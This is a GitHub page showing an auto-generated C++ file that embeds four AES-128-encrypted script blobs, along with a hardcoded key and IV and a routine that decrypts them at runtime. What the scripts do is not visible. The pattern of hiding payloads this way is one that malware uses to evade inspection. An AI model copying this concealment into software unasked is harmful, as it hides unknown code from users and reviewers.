-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathcryptedscripts.cpp
27 lines (22 loc) · 9.8 KB
/
cryptedscripts.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//Auto generated @17/08/2017 19:22
#pragma once
#include "stdafx.h"
#include "cryptedscripts.h"
#include "aes.h"
#include "kernel.h"
#include "sync.h"
static unsigned char key[] = { 0x31, 0x38, 0x49, 0xfe, 0x6, 0x91, 0x2a, 0xd8, 0x3d, 0xa, 0x20, 0x49, 0xa2, 0x33, 0x7a, 0x2c };
static unsigned char iv[] = { 0xb3, 0x5d, 0xb4, 0x29, 0x3e, 0x9d, 0xd8, 0xa8, 0xf9, 0x40, 0x62, 0xe1, 0x80, 0x40, 0x49, 0x4 };
static const CryptedScripts::crypted_script_t scripts[] =
{
{"0801dc3fc0f27857ba444362c0d7abaf00be1108", "\x53\xe5\x89\x74\x8e\x94\x7c\xad\x32\xa4\x68\x50\x14\xfc\xec\xe1\x2a\x37\x88\x35\x5b\x1\xda\x16\x9c\x5e\x35\x87\xdc\xa1\x9e\x4c\xf3\x45\x56\x18\xa3\x80\x7\x53\x1a\x0\xcf\x6e\x5e\x56\x4d\xc7\xe8\x81\xc2\x61\x95\x39\xf3\xdb\x10\x4a\xa9\x35\x57\x89\x80\x42\x76\x85\x4a\x22\xd6\x2d\xf8\x8a\x3a\xda\xa1\x1f\xc6\x35\xd4\xce\x2b\x4c\xe1\x57\x54\x4c\x3c\x6b\xe8\x89\x22\x35\xe1\x61\x53\xde\xcb\x1b\x17\x3a\x96\x97\x83\xc0\x9f\x7f\xcb\x6a\x8c\xc6\x38\xdb\xd7\x97\x9e\x99\x51\x6f\x95\x75\x0\xd9\xdc\xcd\x19\x2\xfe\x7e\xfd\xd6\xa4\x30\xa6\x36\xff\xa\xd7\x49\x1a\x3\xdf\xd6\x31\xd3\xc\x75\xad\x5a\x21\x73\xb5\x4c\x28\xf7\x6f\x84\xf9\xbc\xc\xe7\x14\xce\x7b\x3a\xd9\xee\xb8\xce\x76\x17\x3e\x9f\xe1\x8e\x89\xb", 176},
{"aacb31f63a7d06edf272edc8e65dbc520b606754", "\x98\x6b\x3c\xf8\xd0\x8e\xa1\x5a\x1\xab\xa6\x23\xa2\x2e\xe4\x99\x37\xc8\xf\xc6\x83\x63\xc4\x1a\x4c\x4c\x4f\x46\xb9\xa6\x8e\x2b\x77\xd\x7f\x6\xd3\x7e\xf3\xef\x91\x7f\xc2\x8f\x9f\x87\xec\x4e\x87\xee\x0\x4d\xfb\x9b\x9\x77\x38\x88\x4e\xaa\xe4\xb3\xa0\x6\x6a\x3f\x79\x41\xab\x53\x5c\xe4\x71\xf0\xa3\xd7\x79\xba\x74\x2e\xc9\x59\x96\xe7\xb7\xba\x6c\x11\xe6\x61\xf6\x87\xef\xeb\x53\xe\x4f\x8\x23\xfb\x76\x9f\x5a\x9e\x32\x25\x21\x91\x6d\xbe\x67\x98\xbd\x43\x83\x23\x2d\xec\x58\x11\xec\xcd\x9e\x21\x6c\x90\xa7\x9b\x3d\xca\x81\x2b\x9e\xad\xcb\x47\x38\x68\x29\x80\x2c\x1c\x6f\x39\xdf\x90\xa5\x4f\x5b\xf1\x27\x34\x87\x45\x78\x94\x7d\x2a\x28\xe\x70\x35\x74\x4c\x61\xf5\x2d\x6c\xff\xa9\xb3\x6d\xda\xce\xaf\x25\xb2\x6e\xb4\xd1\xc4\x1d\xc2\x24\x7a\x93\x11\xe9\x2c\xcb\x3f\x8d\x5f\x6c\x1b\x48\x8d\x77\x34\x8b\x11\x87\x66\x28\x5a\x9e\x82\x3b\x90\x9f\x9e\xb3\x32\x79\x57\x30\x74\x7a\x3b\xa\x18\x7a\x83\xb3\x3b\x9f\xbc\xee\xbf\x59\x13\xde\x3d\xaf\xdb\xa4\x8f\x76\x2\xa2\xe7\x8d\x66\x5e\xeb\x99\x4d\x32\x61\xea\x21\x9f\x29\x44\x20\xdf\xe5\xb6\xb\xbb\x67\xa4\xf2\x21\x65\x3f\x5a\x9a\x8\x59\x76\x89\x20\xc3\xc2\xee\xd6\x5e\xfc\x51\xb1\x23\x98\x37\xdb\x97\x1c\x2c\xf8\xb7\x4c\xfb\x9e\x48\xb8\x9e\x3a\xe0\x93\x51\xca\xdf\x79\x7\x61\xcd\xdf\xa7\x8d\x3b\xec\xa8\xe5\xad\x93\x69\x60\xa4\x92\xd9\x2a\x36\x38\x29\x19\xbf\x80\xfc\x47\x36\x49\x4a\xa6\x63\xfc\x84\x9d\xbb\xb2\x9e\x66\xeb\x27\xd2\x0\x9f\xa5\xd7\x4c\x60\x5d\x53\x57\x5c\xed\x76\x5f\x99\x7\x81\x9\xcb\xbf\x79\xd0\x51\x56\xaf\xf2\xe6\x73\xf6\x54\x8c\xfd\xd5\xf8\x1\x4f\x81\x18\x8e\x68\x6c\x6a\x8b\x85\x48\xe0\x15\x43\xf\x1e\x78\xfe\x94\x77\x9d\xc9\x8d\x25\xda\xfa\xdb\x74\x72\xb0\x6c\xff\x6a\x10\xf3\x6d\x56\x7\x49\xba\x97\xa1\x12\xf8\x71\x68\xa4\xe2\x8f\xab\xc\xab\xf6\x9a\x25\x9a\x0\xe2\xb\x55\xc7\x22\x1f\xa0\xd2\x1e\x84\x1a\xd7\x7a\x11\xee\xb9\xde\xc1\x86\xdd\x81\x73\xf4\x7f\x12\xf3\x87\xbe\x9c\x3c\x46\xf5\xf8\xc6\xb6\x10\x7e\xed\x7f\x7d\xaf\x2d\x7e\x63\x3f\x40\xde\x9c\x19\x5d\xf7\x66\x19\xbd\x69\x20\x76\x6d\xe7\x10\x99\xf\xa2\x9c\xde\x2\xf9\xf0\x77\xcc\x83\xca\x66\x2f\x87\x32\xbc\x8b\x94\xc6\x98\x8a\xda\x7c\xb1\x35\xc8\x82\xaf\xf4\x66\x4e\x4c\x2c\xf9\x54\x46\x5b\x9d\xc3\x1c\xba\x70\x90\x79\x71\xd4\x48\xf9\xdb\x9f\x3e\x33\xed\x90\x19\xa8\x2\x41\xf\x66\xb2\x9a\x6\xd3\x1b\xd9\x20\x8c\x87\x2c\x3b\x7e\x8\x57\xcb\xe9\xc8\x95\x1e\x34\x4a\xc0\xa8\xc7\xd8\xfb\xee\x65\x29\x11\x93\xfd\x15\x66\xd1\x92\x19\x79\x2b\x68\xff\x98\xc8\x42\xe4\xd4\xaf\xcc\x20\x8\x5c\xa8\xaa", 608},
{"232a7e418760839da83e0453b2a599d1e5e3d238", "\x78\x18\x8d\xe2\xc4\x9b\x5\x20\x26\xf3\x8a\xde\x2f\x37\x76\x33\x78\x2f\x74\x8\xfb\x2f\xc6\x9b\xe4\x19\x64\x4c\x61\x8b\x15\x2e\x71\x9e\xf7\x7f\xc9\x4c\x34\x1\x66\x4a\x63\x99\x2c\x95\xb7\xa2\xfd\x24\x75\xf4\x42\x16\xa4\xcc\xfd\x5\xdd\xb2\xa\x29\xe\x72\xa4\x4a\xcb\xec\x7e\xd8\xae\x5a\xcb\xc\x5\x70\xf0\xf\xc9\x64\xba\x1e\xf4\xb5\xd\x63\x9e\x8b\x5\x51\xa0\x7\x84\xf0\x2f\x72\xbf\x2f\x34\xad\xb4\xa4\xf8\xb0\x27\xf3\x53\x8c\x89\x17\xca\x51\x79\xe2\x89\xbb\x44\x42\xc1\x50\x6\x9a\x0\x5a\x60\x9f\xd\x36\x27\xb4\xdf\x10\xa1\x2a\x1e\xbe\x4\x47\x93\xc5\x27\x28\x71\x70\xa1\x8d\xcd\xdd\x83\x92\x87\x5f\x25\x4f\xa1\x12\xc6\x2a\x25\x56\x2f\x67\xd1\xee\xe1\x8b\x36\x4a\x63\x57\x83\x13\x5b\xb5\xc2\xc1\x8c\x2\xac\xc8\xad\x76\xb8\xb5\xbe\xe0\x7d\x16\x67\x58\x56\x36\x87\xde\xd6\x85\x71\x85\x6\x70\xda\x2a\xdc\xed\x3c\x5b\x7a\xe1\x4a\xeb\xa3\xf8\xe9\x67\x3\xea\x56\x95\xfa\xca\x1c\x44\x2f\x35\x8e\x8b\xb3\x63\xca\x7c\xa4\x54\x17\xc5\x1\x8a\xc8\xca\x81\x6\xb0\x18\x38\xea\x6\x6\x1e\xc\x38\x46\x3e\x7a\xa5\x6b\x3e\xa5\x38\xba\xd5\x56\xf5\x52\x1c\x84\x67\x7b\x2e\xc\xd0\xdf\xd5\x4f\xc7\x3\xc6\x1e\x79\xe1\x79\x15\x11\x6f\x9d\x24\x8e\x2a\x3f\xb5\xe3\xd\xb3\x6c\xb7\x7f\x43\x2\x50\x5\xe\xeb\xb3\xfb\x77\x8f\x19\x27\x4d\x2\x99\x86\x7d\xdf\xc\xd3\xab\x4e\xf4\x5f\xf8\xbf\x2d\x56\x4c\xa1\xe7\x5b\x63\xb1\xac\xcf\x83\x6d\x1\x5f\xbb\x2c\xe9\xee\xb\x70\x5d\x79\x31\x28\xf7\xa3\xf2\xba\xf9\x87\x31\x9\x7f\x4b\x7f\x52\x7d\x27\xe0\xd5\x99\x5c\x13\xca\x30\xfc\xe0\xc0\x73\x54\x72\x9f\x1c\x5b\xf7\x8f\xdd\xbe\xf1\xbd\xc6\x88\xbb\x62\x2c\xc8\x42\x66\x23\x3c\x8a\x45\xb3\xfb\xca\x11\xd8\xbd\xe6\xe\x65\x2b\x68\x3c\xa4\x6f\xef\x3f\x31\x50\x3\x63\xa9\x1c\xb0\xb3\x3c\x45\x82\x17\x1\x85\xeb\xdb\x9e\x23\xdb\x61\x7\x52\xf7\x56\x7e\xcf\x58\x76\xa6\x76\x8\xd3\x54\x4a\xbd\xef\x32\x90\xb2\x56\x26\xd\xc9\x75\x4c\x94\xc8\x9\x5\x1\x42\x75\x79\x22\x8c\x5e\x37\x0\x7\x17\xc8\xc4\x77\xb3\xf3\xe9\x6b\x86\x30\xed\xb3\xf1\xe6\x63\xd1\xe4\xb6\x40\x4\x4c\x39\x1c\x54\x9f\x9d\x7\xef\xc4\x52\x43\x93\x11\x5e\xf1\xfd\x59\x32\x47\x2e\x58\x2b\x90\xd5\xe9\xe2\xbc\x4d\xee\x27\x21\xec\xb2\xba\x77\x3f\x99\xf9\x94\x3a\x7a\x7\x0\x2\xe8\xe4\x60\x63\x86\x65\x86\xad\x49\x66\x23\xbc\x69\x6b\x14\xd8\x39\x2f\x2c\x1a\x9d\x54\xae\x7a\x2f\x9b\xe4\xe4\xb7\xdb\xe3\xf6\x74\xa9\x1c\xd1\x85\xf4\x6a\xa7\x53\xb3\x9a\x8\x71\x79\xd1\x89\xf3\xd3\x63\xa\x96\xe8\xc2\xd5\x7\x28\x4\x9d\x94\x3c\x44\x54\xd4\x7b\xd8\x1f\x4a\x8a\xc9\x44\x0\xac\x55\x77\x36\x1b\x6f\x5c\x16\xdd\x21\x84\xa2\xf\xa8\x8e\x7b\x6e\x17\x63\xfc\x36\xbd\xf7\x5e\xec\xd4\x52\xe4\x34\x2a\x24\xc2\xf9\x62\xcf\x7e\x5e\xff\x1f\x80\xf2\x5a\x2a\xb3\x68\x13\xb4\x6e\x9\xf9\x35\xd3\x2a\x46\xda\x21\x23\x67\xfa\x5e\x4a\xf6\xbe\xdf\x63\x2c\x9e\x50\xa\x60\x24\xc3\x34\x8b\xc8\x2f\x67\x33\xb\x10\x75\xec\xfd\x7f\xaa\xf1\xe6\x3\xfb\xd9\xa5\xa9\x3d\x25\x9d\xa8\x17\xa\xa9\x3c\x81\x4\x27\xad\xfb\xb5\xee\x12\xc1\x7e\x2d\xef\x5e\x98\xdc\x75\x63\xb9\xa8\xaa\xca\xa5\x5\xa3\x63\x4c\x2\x93\x2f\x90\xbc\x2e\x48\x86\x5\xd3\xfe\xff\xd6\x7d\x15\xe7\xed\xee\x37\xad\xd0\xe2\x1c\x56\x66\xe9\x26\xc9\x9e\x1\x7\xeb\xb2\x4c\xbe\xd1\x8e\x90\xcc\xfd\xb2\x43\x32\x3f\xca\xe5\x70\x32\x20\x1c\xfa\xe2\x91\x7f\xd0\x41\x27\x10\x7a\xba\xf1\x10\xa4\xef\x40\xc9\x56\xa6\xb5\x3b\xf3\x65\xd9\x82\xf2\xe1\xfb\x4\x97\x2e\xab\x1b\x15\xdd\xbd\xa0\x1b\x37\x38\x70\x83\x71\xe0\x43\xed\x5b\x25\x87\xf6\xec\xfd\x20\x75\xe7\x50\x7f\xbf\x35\x2e\xc6\x28\xc7\x7c\x80\xf8\xea\x58\xbe\x9c\xec\x1f\x8f\xc2\xc5\x43\xa9\xb2\xac\xd8\xa6\x8c\xbd\x67\x3b\xcd\xee\xb8\xe5\x34\x37\x84\x62\xc\xf1\xb2\x81\xf5\x6\x47\x61\x8f\x8c\x9e\x45\x1d\x2d\x79\x42\x42\xc5\x12\x45\xd7\xb2\x69\x34\x2\x3f\x33\xc2\xd3\x64\x2f\x6d\x1f\x94\x65\xe1\xcf\x95\x3\xd7\xcd\x1\xfa\x9b\xa1\x54\x87\x4d\x47\x77\xa2\x94\x93\x88\x9c\x54\x3f\x92\x5e\x7d\x37\xdd\x65\xc5\xd\xa1\x20\x54\x59\xa9\x4c\x13\x38\x3\xf4\x4b\x80\x68\x60\x8\x24\xd9\xa3\xe9\xa9\x2e\xe4\x2e\xd9\xd1\xd5\xd3\xe3\xfc\x13\xb3\x54\x46\x3\x99\x8\xb7\xa3\x58\xcc\xf4\x95\xf3\xef\x17\xc7\x47\x75\x81\xc9\xd7\x5e\x4f\x7d\x9a", 992},
{"3c5e4cc7b48452495e20dadf3bb804701e0c4909", "\x78\x18\x8d\xe2\xc4\x9b\x5\x20\x26\xf3\x8a\xde\x2f\x37\x76\x33\x78\x2f\x74\x8\xfb\x2f\xc6\x9b\xe4\x19\x64\x4c\x61\x8b\x15\x2e\x6f\xc5\x4a\xe9\x81\x3d\xc2\xd4\x43\xa4\x52\x49\xe4\x6a\xd9\xdf\x82\x4f\x29\xb2\xef\xcc\x77\x25\x36\x34\x7f\xa6\x76\x5a\xfb\x7d\x3a\x56\x70\xd4\x33\x3c\xab\x6a\x6e\x3d\x13\xf\xa3\x3e\x69\x3a\xa9\xda\x1b\xbd\xe2\xdf\x6d\x1a\x93\xa1\xea\x5e\xa9\xdc\xa4\x8c\x35\x95\x27\xda\xb2\xef\x40\xc7\xcb\xed\xdb\x93\x5\xb7\xac\x95\xb6\xad\x4b\xed\x4c\xda\xe1\xe2\xc1\x92\xae\xb7\xa4\x9c\xfa\xa6\x9c\x93\xa0\xdc\x45\x24\x1c\x28\xe2\x73\x1e\x1f\x21\xf9\x67\x96\x8c\x6d\x22\x6\x6b\xc7\x16\x56\x5\xeb\xb\xde\xcf\x92\xc\x25\x8f\xa9\x87\x3c\x60\x95\x36\xe0\x84\xfa\x72\xc1\xbb\x4f\xc4\x97\x79\xe6\xdd\x79\xec\x60\xba\xfa\x69\x53\xc5\x8e\xad\x41\xb2\xdd\x19\xee\x29\x2a\x6a\x67\xcc\xa7\xe2\xcd\xea\x9a\xa3\xee\x82\x27\xe6\x1d\x88\x91\x17\x43\x69\xf\x8f\x18\x2b\x23\x27\x78\x67\x28\x89\xce\x5e\x96\xb3\xfe\x57\xa0\xdd\x2a\x8f\x14\xbb\x1\x6b\xf2\x74\x51\x84\xf9\xb8\x9e\x7d\x0\xc\x65\x11\x66\x13\xf8\x5b\x90\xd4\xc\xe8\xd3\xf6\x63\x1b\x44\x74\x58\xbd\xe1\x4d\xaa\x89\x71\x84\xf3\x13\x7e\x8c\x26\x25\x87\x44\x79\x9a\x4a\xe6\xcd\x76\x3b\xc7\xfa\xb5\x9f\xf1\xb6\xaf\x54\x5d\x1d\x1f\xe4\xb\x2\x8d\x16\x96\x72\x66\x11\x54\xdf\xa6\x84\xe0\x7a\x6\x80\x5f\x7c\x5f\xe5\xb5\x31\x9\xd0\x49\xbc\x9\x7a\xb6\x99\x1\x69\x5b\xe7\x89\x97\x7a\xa3\xf1\x6e\x20\x78\xfb\x74\xe7\x93\xc9\xe0\x6b\x9c\x56\x32\xde\xd0\x61\x2a\xc4\xa7\x51\xf4\x48\x55\xb0\x81\x18\x52\xa6\x95\x93\xfd\xa0\x53\x3b\x9c\xca\x15\x2a\x77\x3e\x94\xa7\x88\x92\x93\xfb\x3\x2f\xad\x1\xe6\x6d\x25\x5b\x7c\xb0\x77\xc7\x18\xcf\x49\xdb\x36\x98\x16\x55\x31\xc1\xc1\x31\xc2\x9\x5a\xe9\xee\x9f\xb0\xa9\xb2\xa0\xcc\x8b\x11\xe9\x5c\x73\x27\x41\xd2\xed\xea\xeb\xb9\xba\x39\x3f\x9\xbd\xe0\x78\x7c\x3\x2\xc9\x83\xaf\xe\xfa\x0\x57\x3b\xa\x81\xc6\x47\x71\x7b\x74\x18\x90\xf3\xe9\x5e\xfa\xdc\x87\x12\xc7\x5f\x53\xe\x6d\x5e\xfe\xff\x92\x36\x23\xb3\xfb\xe2\xdc\x19\xcf\xd9\x79\x5a\x2b\xce\x36\x83\x4a\xe1\x83\x6\x62\xa1\x8b\x27\xcc\x19\x13\xe1\x52\x27\x49\xdb\x78\x0\x47\xe7\x5\xba\xdb\x22\xea\x3c\x27\xe7\xce\x96\xb8\xd8\x26\x66\x4f\x89\xf5\x71", 528}
};
void CryptedScripts::_getScriptA(short id, char* buffer)
{
HANDLE mutex = Kernel::waitForMutexOfObject(MUTEX_SCRIPT_AES);
AES128_CBC_decrypt_buffer((unsigned char *)buffer, (unsigned char *)scripts[id].encryptedScript, scripts[id].size, key, iv);
Sync::_freeMutex(mutex);
}